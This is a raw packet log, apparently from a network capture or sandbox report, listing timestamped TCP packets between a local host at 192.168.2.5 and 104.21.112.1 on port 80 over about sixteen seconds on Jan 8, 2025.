Jan 8, 2025 17:13:11.193722010 CET	80	49938	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:11.193867922 CET	49938	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:11.194756031 CET	80	49944	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:11.194900036 CET	49944	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:11.195007086 CET	49944	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:11.199829102 CET	80	49944	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:11.551234007 CET	49944	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:11.556169033 CET	80	49944	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:11.556183100 CET	80	49944	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:11.556235075 CET	80	49944	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:11.639712095 CET	80	49944	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:11.738609076 CET	49944	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:11.886771917 CET	80	49944	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:11.941752911 CET	49944	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:12.008153915 CET	49944	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:12.009063959 CET	49950	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:12.013237953 CET	80	49944	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:12.013293028 CET	49944	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:12.013919115 CET	80	49950	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:12.013982058 CET	49950	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:12.014084101 CET	49950	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:12.018788099 CET	80	49950	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:12.363692045 CET	49950	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:12.368537903 CET	80	49950	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:12.368572950 CET	80	49950	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:12.368582010 CET	80	49950	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:12.472752094 CET	80	49950	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:12.519867897 CET	49950	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:12.706957102 CET	80	49950	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:12.816766977 CET	49950	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:12.926644087 CET	49950	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:12.929002047 CET	49956	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:12.931967974 CET	80	49950	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:12.932136059 CET	49950	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:12.933887005 CET	80	49956	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:12.934015036 CET	49956	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:12.934175014 CET	49956	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:12.939014912 CET	80	49956	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:13.287704945 CET	49956	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:13.292746067 CET	80	49956	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:13.292762041 CET	80	49956	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:13.292771101 CET	80	49956	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:13.374701023 CET	80	49956	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:13.519958019 CET	49956	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:13.616961956 CET	80	49956	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:13.707624912 CET	49956	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:13.762645960 CET	49956	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:13.763658047 CET	49962	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:13.767822027 CET	80	49956	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:13.768090010 CET	49956	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:13.768476009 CET	80	49962	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:13.768556118 CET	49962	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:13.768682957 CET	49962	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:13.773435116 CET	80	49962	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:14.113749027 CET	49962	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:14.118643999 CET	80	49962	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:14.118657112 CET	80	49962	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:14.118669033 CET	80	49962	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:14.241391897 CET	80	49962	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:14.316744089 CET	49962	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:14.479101896 CET	80	49962	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:14.519857883 CET	49962	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:14.604978085 CET	49962	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:14.605830908 CET	49968	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:14.609988928 CET	80	49962	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:14.610048056 CET	49962	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:14.610589981 CET	80	49968	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:14.610666037 CET	49968	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:14.610807896 CET	49968	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:14.615633011 CET	80	49968	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:14.958231926 CET	49968	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:14.963213921 CET	80	49968	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:14.963226080 CET	80	49968	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:14.963242054 CET	80	49968	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:15.007044077 CET	49969	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:15.010950089 CET	49968	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:15.011889935 CET	80	49969	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:15.011981010 CET	49969	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:15.012082100 CET	49969	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:15.015966892 CET	80	49968	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:15.016040087 CET	49968	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:15.016918898 CET	80	49969	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:15.285124063 CET	49971	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:15.290060997 CET	80	49971	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:15.290157080 CET	49971	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:15.290920019 CET	49971	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:15.295794964 CET	80	49971	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:15.364013910 CET	49969	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:15.368953943 CET	80	49969	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:15.369096994 CET	80	49969	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:15.466000080 CET	80	49969	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:15.519917965 CET	49969	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:15.645067930 CET	49971	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:15.832381010 CET	80	49969	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:15.832401037 CET	80	49969	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:15.832452059 CET	80	49971	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:15.832480907 CET	49969	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:15.832818031 CET	80	49971	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:15.832865000 CET	80	49971	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:15.832993984 CET	80	49971	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:15.958494902 CET	80	49971	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:15.958590031 CET	49971	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:16.019970894 CET	49969	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:16.092571974 CET	80	49971	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:16.212030888 CET	49971	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:16.264633894 CET	49969	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:16.264709949 CET	49971	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:16.265727997 CET	49976	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:16.269699097 CET	80	49969	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:16.269896030 CET	80	49971	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:16.269921064 CET	49969	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:16.269951105 CET	49971	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:16.270570040 CET	80	49976	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:16.270643950 CET	49976	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:16.270797014 CET	49976	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:16.275573015 CET	80	49976	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:16.633439064 CET	49976	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:16.638410091 CET	80	49976	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:16.638425112 CET	80	49976	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:16.638439894 CET	80	49976	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:16.726809025 CET	80	49976	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:16.816756010 CET	49976	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:16.959634066 CET	80	49976	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:17.019886017 CET	49976	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:17.101985931 CET	49976	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:17.103265047 CET	49982	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:17.107065916 CET	80	49976	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:17.107125044 CET	49976	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:17.108067036 CET	80	49982	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:17.108148098 CET	49982	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:17.108274937 CET	49982	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:17.113044024 CET	80	49982	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:17.458108902 CET	49982	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:17.463123083 CET	80	49982	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:17.463131905 CET	80	49982	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:17.463143110 CET	80	49982	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:17.585133076 CET	80	49982	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:17.740921021 CET	49982	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:17.825237989 CET	80	49982	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:17.874783993 CET	49982	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:17.964359045 CET	49982	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:17.964880943 CET	49987	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:17.969409943 CET	80	49982	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:17.969609022 CET	49982	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:17.969651937 CET	80	49987	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:17.969741106 CET	49987	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:17.969945908 CET	49987	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:17.974756956 CET	80	49987	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:18.317080975 CET	49987	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:18.322200060 CET	80	49987	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:18.322242022 CET	80	49987	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:18.322247028 CET	80	49987	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:18.433146000 CET	80	49987	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:18.535551071 CET	49987	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:18.667149067 CET	80	49987	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:18.738679886 CET	49987	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:19.019352913 CET	49987	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:19.021338940 CET	49991	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:19.024358988 CET	80	49987	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:19.024424076 CET	49987	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:19.026186943 CET	80	49991	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:19.026276112 CET	49991	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:19.026463985 CET	49991	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:19.031234980 CET	80	49991	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:19.379642010 CET	49991	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:19.384622097 CET	80	49991	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:19.384639025 CET	80	49991	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:19.384661913 CET	80	49991	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:19.478420019 CET	80	49991	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:19.519874096 CET	49991	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:19.717489004 CET	80	49991	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:19.816756964 CET	49991	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:19.852737904 CET	49991	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:19.854028940 CET	49999	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:19.857779026 CET	80	49991	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:19.857848883 CET	49991	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:19.858843088 CET	80	49999	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:19.858913898 CET	49999	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:19.859055996 CET	49999	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:19.863827944 CET	80	49999	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:20.208302975 CET	49999	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:20.213186026 CET	80	49999	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:20.213196993 CET	80	49999	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:20.213207006 CET	80	49999	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:20.331048965 CET	80	49999	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:20.441798925 CET	49999	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:20.584453106 CET	80	49999	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:20.629280090 CET	49999	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:20.710597992 CET	49999	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:20.711915970 CET	50008	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:20.715750933 CET	80	49999	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:20.715812922 CET	49999	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:20.716778040 CET	80	50008	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:20.716842890 CET	50008	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:20.716937065 CET	50008	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:20.721688032 CET	80	50008	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:20.859714985 CET	50010	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:20.866725922 CET	80	50010	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:20.866806984 CET	50010	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:20.866930008 CET	50010	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:20.871751070 CET	80	50010	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:20.919142008 CET	50008	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:20.970573902 CET	80	50008	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:21.041651011 CET	50011	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:21.046544075 CET	80	50011	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:21.046626091 CET	50011	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:21.046741962 CET	50011	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:21.051492929 CET	80	50011	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:21.077977896 CET	80	50008	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:21.078064919 CET	50008	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:21.223324060 CET	50010	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:21.228312016 CET	80	50010	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:21.228348017 CET	80	50010	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:21.404030085 CET	50011	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:21.610785007 CET	80	50010	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:21.611133099 CET	80	50011	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:21.611258984 CET	80	50010	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:21.611334085 CET	50010	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:21.611335039 CET	80	50010	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:21.611371994 CET	50010	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:21.612355947 CET	80	50011	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:21.612526894 CET	80	50011	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:21.612664938 CET	80	50011	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:21.702506065 CET	80	50011	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:21.702590942 CET	50011	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:21.978204012 CET	80	50011	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:22.019860983 CET	50011	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:22.101809025 CET	50010	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:22.101913929 CET	50011	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:22.103168011 CET	50013	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:22.106914043 CET	80	50010	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:22.107076883 CET	50010	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:22.107285976 CET	80	50011	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:22.107453108 CET	50011	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:22.108028889 CET	80	50013	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:22.108109951 CET	50013	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:22.108233929 CET	50013	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:22.112994909 CET	80	50013	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:22.457716942 CET	50013	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:22.462573051 CET	80	50013	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:22.462606907 CET	80	50013	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:22.462615967 CET	80	50013	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:22.580354929 CET	80	50013	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:22.738631010 CET	50013	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:22.827003002 CET	80	50013	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:22.926147938 CET	50013	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:23.035936117 CET	50013	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:23.036843061 CET	50014	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:23.040977955 CET	80	50013	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:23.041122913 CET	50013	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:23.041706085 CET	80	50014	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:23.041801929 CET	50014	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:23.041907072 CET	50014	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:23.046696901 CET	80	50014	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:23.395015955 CET	50014	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:23.399982929 CET	80	50014	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:23.400001049 CET	80	50014	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:23.400010109 CET	80	50014	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:23.505584002 CET	80	50014	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:23.666415930 CET	80	50014	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:23.666482925 CET	50014	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:23.910435915 CET	50014	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:23.911237001 CET	50015	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:23.915574074 CET	80	50014	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:23.915638924 CET	50014	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:23.916106939 CET	80	50015	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:23.916191101 CET	50015	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:23.916335106 CET	50015	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:23.921122074 CET	80	50015	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:24.273544073 CET	50015	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:24.278578043 CET	80	50015	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:24.278593063 CET	80	50015	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:24.278604031 CET	80	50015	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:24.365647078 CET	80	50015	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:24.441751003 CET	50015	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:24.602312088 CET	80	50015	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:24.726223946 CET	50015	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:24.727180958 CET	50016	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:24.731234074 CET	80	50015	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:24.731329918 CET	50015	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:24.731960058 CET	80	50016	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:24.732027054 CET	50016	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:24.732119083 CET	50016	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:24.736970901 CET	80	50016	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:25.082448959 CET	50016	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:25.089392900 CET	80	50016	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:25.089406967 CET	80	50016	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:25.089417934 CET	80	50016	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:25.198436975 CET	80	50016	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:25.238624096 CET	50016	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:25.429018021 CET	80	50016	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:25.535492897 CET	50016	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:25.550568104 CET	50016	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:25.551578045 CET	50017	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:25.555624962 CET	80	50016	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:25.555699110 CET	50016	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:25.556377888 CET	80	50017	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:25.556448936 CET	50017	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:25.556583881 CET	50017	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:25.561361074 CET	80	50017	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:25.910598993 CET	50017	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:25.915628910 CET	80	50017	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:25.915647030 CET	80	50017	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:25.915659904 CET	80	50017	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:26.041353941 CET	80	50017	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:26.207371950 CET	50017	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:26.275583982 CET	80	50017	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:26.316741943 CET	50017	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:26.441200972 CET	50017	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:26.442079067 CET	50018	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:26.446254969 CET	80	50017	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:26.446311951 CET	50017	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:26.446882010 CET	80	50018	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:26.446957111 CET	50018	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:26.447091103 CET	50018	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:26.451900959 CET	80	50018	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:26.638859987 CET	50019	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:26.643862963 CET	80	50019	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:26.643956900 CET	50019	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:26.644160986 CET	50019	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:26.647511005 CET	50018	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:26.648986101 CET	80	50019	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:26.698462009 CET	80	50018	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:26.802345037 CET	80	50018	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:26.806180954 CET	50018	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:26.997370958 CET	50019	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:27.002290964 CET	80	50019	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:27.002434969 CET	80	50019	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:27.115710974 CET	80	50019	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:27.207371950 CET	50019	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:27.257302999 CET	50020	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:27.262197971 CET	80	50020	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:27.262469053 CET	50020	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:27.262592077 CET	50020	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:27.267335892 CET	80	50020	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:27.376766920 CET	80	50019	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:27.519875050 CET	50019	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:27.613787889 CET	50020	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:27.618643999 CET	80	50020	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:27.618655920 CET	80	50020	104.21.112.1	192.168.2.5
